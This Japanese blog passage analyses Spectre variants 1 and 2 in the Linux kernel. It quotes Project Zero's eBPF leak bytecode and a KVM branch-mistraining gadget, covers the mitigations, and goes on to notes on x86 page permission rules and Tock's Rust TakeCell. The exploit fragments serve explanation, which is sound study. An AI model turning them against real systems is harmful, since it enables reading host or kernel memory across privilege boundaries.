#ifdef CONFIG_SECURITY
    void *security;
#endif
    enum bpf_map_type map_type;
    u32 key_size;
    u32 value_size;
    u32 max_entries;
    u32 map_flags;
    u32 pages;
    u32 id;
    int numa_node;
    bool unpriv_array;
    /* 7 bytes hole */

    /* 2nd cacheline with misc members to avoid false sharing
     * particularly with refcounting.
     */
    struct user_struct *user ____cacheline_aligned;
    atomic_t refcnt;
    atomic_t usercnt;
    struct work_struct work;
    char name[BPF_OBJ_NAME_LEN];
}

さらに，tail callのindexを32bitになるする修正が（Spectre問題とは関係なく昨年10月に）入っています（bpf: fix bpf_tail_call() x64 JIT）．また，jitを有効化した方が攻撃に成功しやすくなるようなので，jitを無効化するというのも一つの緩和策ではあります*4．

一般的にはvariant 1の対策は個々のプログラム側でおこなわないといけない点が難しいところです． linuxでは対策を容易にするためにarray_index_nospecというマクロが提案されています．これは以下のように使うことを想定しています．

if (index < size) {
    index = array_index_nospec(index, size);
    val = array[index];
}

このマクロはindexをマスクした値を返しますが，indexがsizeより大きい場合はマスクとして0が利用されるので，結果としてindexは0になります．

SMAPとの関係

最近のintelのCPU (broadwellあたりから?) にはSMAP(Supervisor Mode Access Prevention)と呼ばれる，カーネル空間からユーザ空間のメモリ領域へのアクセスを制限する機能が入っています． GPZでの実験ではSMAPは無効にしたマシンで実験しているようです． SMAPを有効にした際に今回のeBPFの攻撃が成功するのかはよく分かりません． meltdownで権限チェックが回避されてしまう場合があるのを考えると，intelのCPUではSMAPも回避される場合があってもおかしくはないと思います．

Variant2

Spectreのvariant 2(CVE-2017-5715)は，以下のような分岐予測の特性を利用したものです*5．

CPUの特権レベルによらず同じ分岐予測処理が実行される
分岐予測判断にはソースアドレスの下位の一部しか利用されない
分岐ターゲットアドレスは一部しか保存されていない *6

これにより，例えばゲストOSのユーザ空間のコードがハイパーバイザのコードの分岐予測に影響を与えることが可能になります．特にGPZのPoCでは主にindirect jumpを利用して， KVMゲストからKVMホストのメモリ領域の読み出しをおこなっています．

メモリ読み出しの基本はvariant 1と同じです．例えば，

jmp *%rax

というような分岐命令があったとき，うまいこと分岐予測を失敗させて，以下のようなコードを投機実行させます．

value = array[index];
x = array2[value+offset];

そうするとvariant 1と同様に（うまくindexとoffsetを指定すれば）データが読み出せることになります．

variant 2で攻撃するには

データを読みだすのに使えるコード辺（ガジェット）が存在
適切なoffsetやindexを求めてガジェットに渡す
分岐予測を失敗させガジェットの関数を投機実行させる

といったことが必要になります．

まず，ガジェットに関して．GPZの例ではここでeBPFを利用します．どういうことかというと，indexからデータを読み出してキャッシュに載せるのはeBPFプログラムでおこなうようにして，ガジェットは単にそのeBPFプログラムを実行させるのに利用します．具体的には，以下のようなガジェット利用して，__bpf_prog_run(const void *ctx, const struct bpf_insn *insn)を投機実行させます．

mov rsi, r9
call QWORD PTR [r8+0xb0]

__bpf_prog_run()はその名の通りeBPFを実行するインタプリタの関数です． System V AMD64のABIでは整数・ポインタ引数はRDI, RSI, RDX, RCX, R8, R9に順に格納されます．従って，R8に__bpf_prog_runのアドレス (-0xb0)，R9にeBPFのプログラムを格納したメモリ領域のアドレスを格納できれば上のガジェットを投機実行した結果，eBPFプログラムが投機実行されることになります．

PoCのコードでは以下のようなeBPFプログラムを利用しています．読み出した値のビットが1かどうかによってhost_timing_leak_addrかhost_timing_leak_addr+0x800をキャッシュに載せています．

struct bpf_insn evil_bytecode_instrs[] = {
  // rax = target_byte_addr
  { .code = BPF_LD | BPF_IMM | BPF_DW, .dst_reg = 0, .imm = target_byte_addr }, { .imm = target_byte_addr>>32 },
  // rdi = timing_leak_array
  { .code = BPF_LD | BPF_IMM | BPF_DW, .dst_reg = 1, .imm = host_timing_leak_addr }, { .imm = host_timing_leak_addr>>32 },
  // rax = *(u8*)rax
  { .code = BPF_LDX | BPF_MEM | BPF_B, .dst_reg = 0, .src_reg = 0, .off = 0 },
  // rax = rax ^ (0x00 or 0xff)
  { .code = BPF_ALU64 | BPF_XOR | BPF_K, .dst_reg = 0, .imm = (invert ? 0xff : 0x00) },
  // rax = rax << ...
  { .code = BPF_ALU64 | BPF_LSH | BPF_K, .dst_reg = 0, .imm = 10 - bit_idx },
  // rax = rax & 0x400
  { .code = BPF_ALU64 | BPF_AND | BPF_K, .dst_reg = 0, .imm = 0x400 },
  // rax = rdi + rax
  { .code = BPF_ALU64 | BPF_ADD | BPF_X, .dst_reg = 0, .src_reg = 1 },
  // rax = *((u8*)rax + 0x800)
  { .code = BPF_LDX | BPF_MEM | BPF_B, .dst_reg = 0, .src_reg = 0, .off = 0x800 },
  // clear rdi (rdi = rdi & 0)
  { .code = BPF_ALU64 | BPF_AND | BPF_K, .dst_reg = 1, .imm = 0 },
  // end
  { .code = BPF_JMP | BPF_EXIT }
};

__bpf_prog_runのアドレスやindexをどうやってガジェットに渡すかというと，GPZの例ではKVMでVMExitした際にR8やR9といったレジスタはゲストのものがそのまま引き継がれて暫く処理が実行されるという点を利用しています．特にPoCではVMEXIT直後に呼ばれるkvm_x86_ops->handle_external_intr()を攻撃に使用します．このindirect jumpの分岐予測を失敗させてガジェットを投機実行させています((ちなみに，PoCでは攻撃をしやすくするためにVMEXIT直後（このへん）でkvm_x86_ops->handle_external_intrのキャッシュを明示的にclflushでフラッシュさせています．writeupの文章によると効率良くcache evictionさせる方法がいくつか研究であるようです．))．

ハイパーバイザで分岐予測を失敗させるには，ハイパーバイザで分岐を実行するアドレスと，ガジェットのアドレスを求め，ゲストのVM内で同じアドレスを使って分岐を適当に実行させるだけです*7．実際には分岐予測にはアドレスの一部（せいぜい下位32bit?）しか使用しないので，下位のアドレスだけを使えばユーザ空間で分岐予測のコントロールができます．

さて，それでは問題は一体どうやってガジェットのアドレスや，ホストからゲストの領域へアクセスするためのオフセットを求めるかということになります．まずKVMホストのメモリ領域にはゲストのメモリ領域がマッピングされているはずなので，適当なオフセットを利用してホストからゲストのアドレスにアクセスすることは可能です．またガジェットのアドレスや分岐命令のアドレスなどは，vmlinuxやkvm.koなどがロードされているアドレスが分かればあとは，利用しているバージョンに基づいてオフセットを計算すれば求められます．

PoCのコードではホストの物理アドレスやオフセットなどの情報はゲストに与えて実行していますが， GPZのブログの方にvariant 2を利用してこれらの必要なアドレスをゲストから求める方法が解説されています．分岐予測履歴をダンプすることでホスト側の分岐アドレス（の下位）を求め，そこから全体のアドレスを求めるようです*8．

対応策

eBPF的にはインタプリタのコードがガジェットとして悪用されてしまうのが問題でした．そこで，常にeBPF JITを有効にし，カーネル内にインタプリタのコードを残さないようにするBPF_JIT_ALWAYS_ONというオプションが導入されました（従って，これはvariant 1とは逆の対応になります）．

また，KVMの方では，VMEXITした後ゲストのレジスタの一部がそのままで処理が継続されるのが問題ということで，ゲストのレジスタを保存後にクリアする処理が追加されています． (コミットを見ると他にもいくつか修正が入っていることが確認できます)

一般的な対策として，Intelが低い特権レベルの分岐の影響を受けないようにするIBRS (Indirect Branch Restircted Speculation)や直前の分岐の影響を受けないようにするIBPB(Indirect Branch Prediction Barrier)といった， indirect jumpにおける投機実行を制限する機能をマイクロコードアップデートを通じて提供しています．ただしこの1月に提供されたマイクロコードにはバグがあったようで，つい先日windowsでマイクロコードアップデートを無効化するパッチが提供されていますし，この方法の安定利用にはもうしばらく時間がかかりそうです．

ソフトウェア的な解決方法としては， indirect jumpの代わりに一旦アドレスをスタックに積んでからreturnする retpolineという手法が提案されています． returnはindirect jumpとは違う分岐予測が適当されるようで，これにより仮にindirect jumpの分岐予測テーブルが汚染されても，その影響を受けないようにできるようです．

Linuxではブートオプションを通じてどの緩和策を利用するか選択できるようになっています．

variant 2もプログラムごとに対応しなければならない点が難しいところです．もうしばらくはspectre対策でいろいろとアップデートがありそうです．

*1:本来であればpage tableのパーミッションがないためアクセスに失敗するはずですが，meltdownではintel CPU特有の権限チェックの前に投機実行してしまうという性質を利用してデータをキャッシュに載せます

*2: map_create() => find_alloc_map() => alloc_map() (fd_array_map_alloc() => array_map_alloc() => bpf_map_area_alloc()

*3:L3がPIPTなのは実験的にも常識的に考えてもそうなんだと思いますが，公式にはキャッシュ構成の情報は公開されていないような気がします. パタヘネに何か書いてあったかもしれない．

*4:おそらくほぼ全てのディストリビューションでBPF JITはデフォルトで無効化されています．

*5:もちろん，分岐予測の実装はCPUアーキテクチャごとに異なり，例えばARMは分岐予測の際に特権レベル等を考慮するのでこの脆弱性の影響を受けないようです

*6:GPZの分析によると，下位32bitもしくはjump元からのオフセットの値

*7:VM内のガジェットのアドレスは特に何もする必要がないので適当にただretする関数でも作成しておきます

*8:一体どうやって分岐予測履歴を求めたのかというと，頑張ってリバースエンジニアリングしたようです．恐るべし..

2017-11-07

x86におけるメモリアクセス権のルール

x86

定期的に忘れる気がするのでメモ．SDM Volume 3A 4.1.3, 4.6参照.

f:id:mm_i:20171107215451p:plain

用語

supervisor mode access
- CPL < 3 でのアクセス
user mode access
- CPL == 3 でのアクセス
supervisor mode address
- page entryのU/S bitが一つでも0である領域*1
user mode addres
- supervisor mode address以外の領域
implicit supervisor-mode access
- 命令経由でのシステムのデータ構造(GDTなど)へのアクセス
explicit supervisor-mode access
- implicit supervisor-mode access以外のCPL < 3でのアクセス

CPUの機能

SMEP (CR4 bit 20)
- supervisor modeの場合user mode addressで実行不可
SMAP (CR4 bit 21)
- supervisor modeの場合user mode addressへのwrite不可
PKE (CR4 bit 22)
- Protection Keyを有効化
WP bit (CR0 bit 16)
- 書き込み保護
NXE (IA32_EFER SMR bit 11)
- 実行権限
U/S bit (page table)
- user / supervisor modeの決定
R/W bit (page table)
- 読み書き権限

備考

操作を完了するには，条件1と条件2の2つを満たす必要がある
- 条件1はsupervisor modeがuser mode addressにアクセスするための条件
- 条件2は実行条件
条件が複数ある場合はどちらかが満たされば良い
- supervisor modeでuser modeへwriteする場合，2x2=4通りの条件の組み合わせがある
空欄は無条件を意味する
R/W == 1 というのはページテーブルの各段でR/Wが1ということ
ぱっとみややこしいが，以下のような規則に基づいていることが分かる
- user modeからsupervisor mode addressはアクセス不可
- 書き込み制限 (WP = 1) は R/W=1 で回避可能
- user領域へのアクセス制限 (SMAP=1) はEFLAGS.AC=1にすることで回避可能
  - このためにACフラグをセット/リセットするSTAC/CLAC命令がある
- 実行不可能 (NXE=1) はXD=0で回避可能
アクセス権限がない場合#PF例外が発生
32bit pagingの場合，NXE bitの機能はない
user mode addressへのread/writeは別途Protection Keyの制約がかかる
SMEPは2012年ごろ(ivy bridge)，SMAPは2014年ごろ (broadwell)， Protection Keyは2015年ごろ(skylake)から導入
- 確認は /proc/cpuinfo で smap, smep, pku

Protection Key

CR4.PKE = 1 のとき，paging-structure entryの62:59の4bitをprotection keyとして使う
PKRUレジスタにprotection keyでアクセスし，アクセス権があるかを確かめる
- PKRU[2i] (0 <= i <= 15) : access-disable
  - NOTE: executionはできる
- PKRU[2i+1] (0 <= i <= 15) : write-disable
  - supervisor modeの場合，WP=0ならprotection keyの結果は無視される
protection keyはsupervisor mode addressに関しては無視される

*1:PML4E,PDPTE,PDE,PTEいずれかでU/S bitが0という意味

2017-11-04

Ownership is theft? TockのTakeCellについて

rust

tockというrust製の組み込み向けOSがあります．このtockの作成者らが2015年にOwnership is Theft: Experiences Building an Embedded OS in Rust (PLOS 2015)という論文を発表しました．そこでは著者がtockを開発する上で嵌ったownershipに関する問題と，それを解決するための言語の修正アプローチが述べられています．ただその後rustの開発者とのやりとりもあり，言語に修正を加えることなく当初実装したかったことが実装できたようです．The Case for Writing a Kernel in Rust (APSys'17)にそのことが簡単に書かれています．

Ownershipと問題

ご存知の通りrustにはメモリ安全を保証するためにownershipという仕組みがあり，たとえシングルスレッドでも同一データに対するmutableなreferenceを複数持つことができません．といってもmutableなreferenceが複数欲し場合は往々にしてあります．論文では以下のような構成の乱数生成器呼び出しを例に挙げています．

SysCallDispatcher <--> SimpleRNG <---> RNG

pub struct SimpleRNG {
    pub busy: bool,
}

impl SimpleRNG {
    pub fn command(&mut self) {
        self.busy = true;
        //...
    }

    pub fn deliver(&mut self, rand: u32) {
        self.busy = false;
        //...
    }
}

pub struct SysCallDispatcher<'a> {
    pub srng: &'a mut SimpleRNG,
}

pub struct RNG<'a> {
    pub srng: &'a mut SimpleRNG,
}

impl<'a> SysCallDispatcher<'a> {
    pub fn dispatch(&mut self) {
        self.srng.command();
    }
}

impl<'a> RNG<'a> {
    pub fn done(&mut self, num: u32) {
        self.srng.deliver(num);
    }
}

ここではSysCallDispatcherとRNGがともにSimpleRNGのreferenceを所有する構成を考えていますが，このコードを実際に使用する場合はborrow checkに引っかかりコンパイルできません．

let mut srng = SimpleRNG { busy: false };
let mut dispathcer = SysCallDispatcher { srng: &mut srng };
// エラー: cannot borrow `srng` as mutable more than once at a time
let mut rng = RNG { srng: &mut srng };

解決策1. Cell

このような場合の解決策の一つはCellを使うことです．

use std::cell::Cell;

pub struct SimpleRNG {
    pub busy: Cell<bool>,
}

impl SimpleRNG {
    pub fn command(&self) {
        self.busy.set(true);
    }

    pub fn deliver(&self, rand: u32) {
        self.busy.set(false);
    }
}

pub struct SysCallDispatcher<'a> {
    pub srng: &'a SimpleRNG,
}

pub struct RNG<'a> {
    pub srng: &'a SimpleRNG,
}

impl<'a> SysCallDispatcher<'a> {
    pub fn dispatch(&self) {
        self.srng.command();
    }
}

impl<'a> RNG<'a> {
    pub fn done(&self, num: u32) {
        self.srng.deliver(num);
    }
}

こうするとコンパイルが通るようになります．

let mut srng = SimpleRNG { busy: false };
let mut dispathcer = SysCallDispatcher { srng: &srng };
let mut rng = RNG { srng: &srng };

ポイントとしては今回SysCallDispatcherやRNGは&mut Tではなく&Tを保有している点です．imutableなreferenceなのでborrow checkerにひかかりません．Cellは内部的にunsafeなコードを利用することで値を変更します．get()は値のコピーを返し，set()ではstd::mem::replace()を利用して値を書き換えます．

CellはCopyを実装している型しか使えません．またCellはSyncを実装していないため，Cellをスレッド間で共有するようなコードはコンパイルエラーになります．そのためデータ競合が生じることはありません．

Copyを実装している型しか使えないというのは大きな制約です．プリミティブ型はCellでいいですが，バッファ領域などを共有することができません(&mut TはCopyを実装していません)．

解決策2. TakeCell

バッファ領域などを共有するために，tockではTakeCellというものを利用しています．TakeCellはCellと似ていますが，以下のデータ構造を利用してreferenceを保持します．

pub struct TakeCell<'a, T: 'a + ?Sized> {
    val: UnsafeCell<Option<&'a mut T>>,
}

take()を利用してTakeCellの値を取得することができます．もし仮にTakeCellの中身が別から取得されている場合はNoneが返ります．

    pub fn take(&self) -> Option<&'a mut T> {
        unsafe {
            let inner = &mut *self.val.get();
            inner.take()
        }
    }

また，クロージャからTakeCellのデータを簡単に利用できるようにmap()というメソッドを提供しています．

    pub fn map<F, R>(&self, closure: F) -> Option<R>
        where F: FnOnce(&mut T) -> R
    {
        let maybe_val = self.take();
        maybe_val.map(|mut val| {
            let res = closure(&mut val);
            self.replace(val);
            res
        })
    }

take()するとTakeCellのデータはNoneになります．そこでデータをTakeCellに戻したい場合はmap()のコードにあるように明示的に戻す必要があります．

TakeCellを使うと例えば以下のようなコードが書けます．

pub struct DMAChannel {
    pub buffer: TakeCell<'static, [u8]>,
}

impl DMAChannel {
    pub fn foo(&mut self) {
        self.buffer.map(|b| {
            //...
        });
    }
}

static mut buffer: [u8; 128] = [0; 128];

fn foo(){
    let mut chan = unsafe {
        DMAChannel {
            buffer: TakeCell::new(&mut buffer),
        }
    };
    chan.foo();
}

staticなborrowを作るためにはunsafeなコードが必要です．

RefCellとtry_borrow_mut

rustを書いたことがある人ならTakeCellなんか利用しなくてもRefCellでいいのでは?と思うと思います． RefCellはget(), set()の代わりにborrow()及びborrow_mut()を提供し，値のreferenceを操作することができます．RefCellはCopyを実装していなくても使用することができます．

RefCell最大の特徴はコンパイル時ではなく実行時にborrow checkをするということです．もし仮に複数のmutableなreferenceを使用とした場合，実行時にpanicします．RefCellを使って安全なコードを書くのはプログラマの責任です．カーネル内でpanicしてしまうのは大変望ましくありません．TakeCellの場合はもしtake()されていたらNoneが返ります (map()の場合は何もしないで終わります). ただし，RefCellにはtry_borrow_mut()というメソッドがあり，もし仮にすでにmutableなrreferenceが取得されていた場合Errが返ります．

TakeCellを利用しなくても，try_borrow_mut()でそれと同等な機能ができるような気がします．それではなぜtockがTakeCellを使っているのかというと... このredditのコメントによると TakeCellができたのはtry_borrow_mut()が導入されるよりも前 *1 というのが最大の理由のようです．

ちなみに，tockにはTakeCellとすごく似ているMapCellというデータ構造もあります．MapCellはreferenceではなく実際の値を保持するようになっており，実際に値を保持しているかはoccupiedと呼ばれるフィールドで保持しています．一方TakeCellは値をreferenceに限定することでOptionのnon-null optimizationを利用してoccupied分のデータ構造を節約しています*2．

また，普通だとCellやRefCellはRcと組み合わせて利用することが多いと思いますが今回カーネル内で動的にメモリを確保することは考えていないのでRcの利用はオプション外です．tockだと基本的にTakeCellでは'staticなバッファ領域を共有するようです．

*1:try_borrow_mutはrust 1.13 (2016-10)からです

*2:refrerenceはnullにならないことが保証されているため，0以外ならreference, 0ならNoneというように判断できます